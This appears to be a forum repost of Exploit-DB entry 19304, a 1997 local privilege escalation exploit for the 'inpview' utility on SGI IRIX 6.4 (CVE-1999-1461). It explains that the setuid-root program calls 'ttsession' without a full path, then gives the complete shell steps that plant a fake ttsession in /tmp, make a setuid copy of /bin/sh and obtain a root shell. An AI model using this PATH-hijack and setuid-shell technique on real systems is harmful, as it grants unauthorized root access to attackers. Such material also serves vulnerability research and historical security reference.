Exploit SGI IRIX 6.4 - 'inpview' Local Privilege Escalation

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19304
Проверка EDB
  1. Пройдено
Автор
YURI VOLOBUEV
Тип уязвимости
LOCAL
Платформа
IRIX
CVE
cve-1999-1461
Дата публикации
1997-05-07
SGI IRIX 6.4 - 'inpview' Local Privilege Escalation
Код:
source: https://www.securityfocus.com/bid/381/info


The inpview utility, included by SGI in its Irix operating system, contains a vulnerability that will allow any local user to obtain root access. inpview is part of the InPerson dektop video conferencing package. As it needs to access a video capture device, it is setuid root, and attempts to run the "ttsession" utility using the system() library call. It does not specificy an explicit path, and as such will execute the first program or script named "ttsession" in the users path. By setting /tmp to be first in your path, creating a shell script in /tmp call ttsession, and making it executable, this shell script will be executed as root. 


% cat > /tmp/ttsession
#!/bin/sh
cp /bin/sh /tmp/rootshell
chmod 4755 /tmp/rootshell
^D
% chmod 755 /tmp/ttsession
% inpview&
% /tmp/rootshell
#
 
Источник
www.exploit-db.com

Похожие темы